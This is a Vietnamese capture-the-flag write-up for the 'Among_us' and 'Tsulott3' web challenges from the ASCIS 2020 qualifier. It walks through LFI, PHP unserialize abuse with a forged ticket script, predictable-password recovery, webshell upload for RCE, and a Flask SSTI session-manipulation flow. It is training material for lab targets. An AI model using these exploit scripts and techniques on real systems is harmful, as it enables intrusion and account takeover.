---
# System prepended metadata

title: ASCIS 2020 WRITEUP WEB CHALLENGES
tags: [ctf]

---

---
title: ASCIS 2020 WRITEUP WEB CHALLENGES
tags: ctf
---

Sau vài hôm đi tổng hợp thì cuối cùng mình cũng tìm ra được source của 2 challenge ở svattt qual 2020. Ở vòng loại năm này thì có vẻ như có 4 challs: 2 challenge java về rmi thì đã có trên [github](https://github.com/tsug0d/LearnJavaVulnerability) của anh tsu (cả source + solution) vì vậy mình sẽ chỉ viết writeup cho 2 chall còn lại: `Among_us` và `Tsulott3`. Ở cuối mình sẽ bonus thêm source + link wu cho 2/3 challenges final round.

# Among_us

## Setup

Source code có thể tải ở [đây](https://github.com/asdcxsd/writeup-ctf/raw/master/docker-lamp.zip). Bài này thì có người đã build lại docker server rồi nên chỉ cần run thôi 🥰. À nhớ tạo thêm thư mục `crew_upload` trong thư mục `www` nhé không thì tí nữa sẽ bị báo lỗi. Một lưu ý nữa là tác giả chỉ tạo lại challenge dựa trên những file cần thiết nên sẽ không có một vài file như `crew.php`, `cafeteria.php` ... và không có hình 😗.


## Phân tích

Phần lớn các trang khi truy cập vào đều hiển thị `Unauthorized` trừ `forgot.php` và `login.php`:

![](https://i.imgur.com/HITtJtJ.png)

Điểm đáng chú ý nữa là ta có thể khai thác lỗi LFI ở `page` parameter:

![](https://i.imgur.com/ttEjA2s.png)

=> Làm tương tự như vậy để lấy hết source file về.

`forgot.php` hiển thị ra cho ta một ô để nhập token và chức năng là dùng để reset password.

![](https://i.imgur.com/djYcyv3.png)

Nhảy vào đọc source của nó, chú ý đoạn code php sau:

```php
if(isset($_POST["ticket"]) && !empty($_POST["ticket"]))
{
    if($_SESSION["form_token"]===$_POST["token"]) {
        unset($_SESSION['form_token']);
        $_SESSION["form_token"] = md5(uniqid(rand(), true));
        $ticket = unserialize(base64_decode($_POST["ticket"]));
        //var_dump($ticket);
        //var_dump($ticket->name);
        $username = $ticket->name;
        $secret_number = $ticket->secret_number;
        $count = check_user_exists($conn, $username);
        if($count === 1)
        {	
            if(check_length($secret_number, 9)) {
                $secret_number = strtoupper($secret_number);
                $secret_number = check_string($secret_number);
                $secret = get_secret($conn,$username);
                var_dump($secret_number);
                var_dump($secret);

                if($secret_number !== $secret) {
                    print("Wrong secret!");
                }
                else
                {
                print("OK, we will send you the new password");}
                print $secret_number;
                $random_rand = rand(0,$secret_number);
                srand($random_rand);
                $new_password = "";
                while(strlen($new_password) < 30) {
                    $new_password .= strval(rand());
                }
                reset_password($conn, $username, $new_password);
                //to do: send mail the new password to the user, code later
                //print($new_password);
            }
            else
            {
                print("sai length");
                print("<center>IMPOSTOR ALERT!!!!</center>");
            }
        }
        else
        {
            //print $count;
            print("sai count");
        }
    }
    else
    {
        print("sai token");
    }
}
```

`$ticket` sẽ được khôi phục lại từ `$_POST["ticket"]`. Sau đó lấy ra `name` và `secret_number` từ object này. Tìm kiếm một hồi thì biết được có thể nó là một instance tạo từ class CrewMate trong `lib.php`.

![](https://i.imgur.com/6oiMP3A.png)

Tiếp theo là `check_user_exists()`, đòi hỏi username lấy từ `$ticket->name` phải tồn tại trong db. Suy ra ta cần có một username hợp lệ, cái này tác giả đã cung cấp trong `crew.php` và vì ta đã tự build lại challenge nên có thể tạo sẵn một vài user.

Khi thỏa mãn điều kiện ở trên thì tiếp tục là kiểm tra 
`check_length($secret_number, 9)`, từ code của hàm này -> có thể truyền string, array ... miễn là thỏa = 9

```php
function check_length($input, $length) {
	return strlen($input)==$length || count($input)==$length || sizeof($input)==$length;
}
```

Sau đó nữa là `strtoupper()`, `check_string()`, `get_secret()` ... và `reset_password()`. Tinh mắt một tí sẽ thấy rằng nếu điều kiện `$secret_number !== $secret` thỏa hay không thì đều thực hiện reset password.

Mục đích của ta là làm sao để lấy được password sau khi được reset. Password này được tạo dựa trên `strval(rand())`, suy ra phải biết được `$random_rand` (đọc thêm về `srand()` ở [đây](https://www.php.net/manual/fr/function.srand.php)), `$random_rand` lại được tạo dựa trên `rand(0,$secret_number)`. Mà một điều thú vị là `rand(0,NULL)=0` và để cho nó xảy ra thì `strtoupper()` phải return NULL.

=> `secret_number` phải là một array.

![](https://i.imgur.com/kSLf7EL.png)

và để thỏa điều kiện `check_length()` ở trên nữa thì array này cần 9 phần tử.



## Exploit

Script tạo token:

```php=
<?php

class CrewMate {
	public $name;
	public $secret_number;
}


$cm = new CrewMate();
$cm -> name = "yellow";

$cm -> secret_number = range(1,9);
echo base64_encode(serialize($cm));
```

Gửi token để reset password:

![](https://i.imgur.com/tKS0GRf.png)

Script để lấy password sau khi reset:

```php=
$secret_number = NULL;
$random_rand = rand(0, $secret_number);
srand($random_rand);
$new_password = "";
while(strlen($new_password) < 30) {
    $new_password .= strval(rand());
}
print $new_password; //117856802212731241191535857466
```



Login với `yellow:117856802212731241191535857466`

![](https://i.imgur.com/pvucW4f.png)

Hiển thị như vầy nghĩa là đã thành công.

Bây giờ ta chuyển sang page `electrical.php`


Thử upload một file bình thường:

![](https://i.imgur.com/hnIOrBB.png)

Trang web sẽ hiện ra thêm nút download, tên của file nằm trong file zip: `php0YStEz+test.txt` và sau khi Download, ta biết được luôn tên của file zip:

![](https://i.imgur.com/0IDhq7c.png)


Bước cuối cùng là upload một webshell, sau đó sử dụng LFI ở `index.php`  để RCE với `?page=/tmp/<new_web_shell_name>`.

![](https://i.imgur.com/P4BtzNe.png)

Hmmm, sau một hồi mò mẫm thì có vẻ như flag không nằm ở các file trên server.

Thử upload script để đọc flag từ database:

![](https://i.imgur.com/J1ZcreG.png)

![](https://i.imgur.com/iGaDBQi.png)


P/S: Thú thật thì challenge này lúc mình đi mò tưởng không có source nên quyết định đi đọc writeup luôn, ai dè source code họ để ở cuối bài viết. Có thể coi như là mình viết lại để học hỏi từ wu của người ta 😢 bài viết gốc có thể xem tại [đây](https://asdcxsd.wordpress.com/2020/11/04/writeup-svattt2020-among-us/).

---

# Tsulott3

## Setup

Down source ở [đây](https://github.com/to016/CTFs/tree/main/SVATTT/2020/Qual/tsulott3).

## Overview

Build xong access tới <http://127.0.0.1:5000> ta có một trang để nhập tên:

![](https://i.imgur.com/QAv7MUE.png)

Sau khi nhập xong ấn `Go` thì sẽ được chuyển hới tới một trang mới:

![](https://i.imgur.com/KMKnb7W.png)

Yêu cầu ta nhập 6 con số, cóp nguyên cái example luôn cho lẹ 😁:

![](https://i.imgur.com/93zpeQX.png)

Có vẻ như đoán sai rồi ~~~ Sau đó ta được redirect tới một trang reset access và lại redirect về trang ban đầu.

## Phân tích

Bài này thì có vẻ là dễ thở hơn bài trước.
Nhìn qua source code thì sẽ có 3 route `/`, `/guess`, `/reset_access`.

1. Route `/`:

```python
@app.route("/", methods=["GET","POST"])
def index():
	try:
		session.pop("name")
		session.pop("jackpot")
	except:
		pass
	if request.method == "POST":
		ok = request.form['ok']
		session["name"] = request.form['name']
		if ok == "Go":
			session["check"] = "access"
			jackpot = " ".join(str(x) for x in [ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99)]).strip()
			session["jackpot"] = jackpot
			return render_template_string("Generating jackpot...<script>setInterval(function(){ window.location='/guess'; }, 500);</script>")
	return render_template("start.html")
```

`try except` để lấy ra `name` và `jackpot` từ session. Nếu method là POST thì lấy ra `ok` và `name` từ POST request sau đó gán `name` cho `session["name"]`. Nếu `ok=="Go"` thì sẽ gán `session["check"] = "access"` tạo random một `jackpot` và gán vào `session["jackpot"]` và redirect tới `/guess`.

2. Route `/guess`

```python
@app.route('/guess', methods=["GET","POST"])
def guess():
	try:
		if check_session("check") == "":
			return render_template_string(cheat+check_session("name"))
		else:
			if request.method == "POST":
				jackpot_input = request.form['jackpot']
				print(jackpot_input + "\n")
				print(check_session("jackpot"))
				if jackpot_input == check_session("jackpot"):
					mess = "Really? GG "+check_session("name")+", here your flag: ASCIS{xxxxxxxxxxxxxxxxxxxxxxxxx}"
				elif jackpot_input != check_session("jackpot"):
					mess = "May the Luck be with you next time!<script>setInterval(function(){ window.location='/reset_access'; }, 1200);</script>"
				return render_template_string(mess)
			return render_template("guess.html")
	except:
		pass
	return render_template_string(cheat+check_session("name"))
```

Ở route này đoạn cần chú ý là nó sẽ lấy `jackpot` từ POST request và so sánh với `jackbot` lưu trong session. Nếu thỏa thì sẽ lấy được flag ngược lại redirect đến `/reset_access`.

3. Route `/reset_access`

```python 
@app.route('/reset_access') 
def reset(): 
	try: 
		session.pop("check") 
		return render_template_string("Reseting...<script>setInterval(function(){ window.location='/'; }, 500);</script>")		
	except: 
		pass
	return render_template_string(cheat+check_session("name"))
```

`try` lấy `check` từ trong `session` nếu có exception thì `pass` và `render_template_string(cheat+check_session("name"))`. Mình lợi dụng route này để perform ssti.

## Exploit

Luồng khai thác sẽ như sau:
- POST đến `/` với `name=<ssti payload>` và `ok="cc"` mục đích là để cho `session["name"] = <ssti payload>` và `jackpot` không được set random.
- GET đến `/reset_access` để thực thi ssti payload (payload của mình là set cho `jackpot=to^&check=access`)
- Cuối cùng là POST đến `/guess` với `jackpot=to^`

![](https://i.imgur.com/wPI3TRH.png)

---

# Challenges ở final

Ở final thì ngoài `mojarra_war` có 2 challenges nữa là `FADating`, `Instargram`. 2 challenge này cũng rất hay nhưng tiếc là mình không tìm được source hoàn chỉnh, chỉ có source cho player. Các bạn có thể tải ở [đây](https://github.com/to016/CTFs/tree/main/SVATTT/2020/Final), mình cũng đã đính kèm link writeup của từng challenge.

###### tags: ctf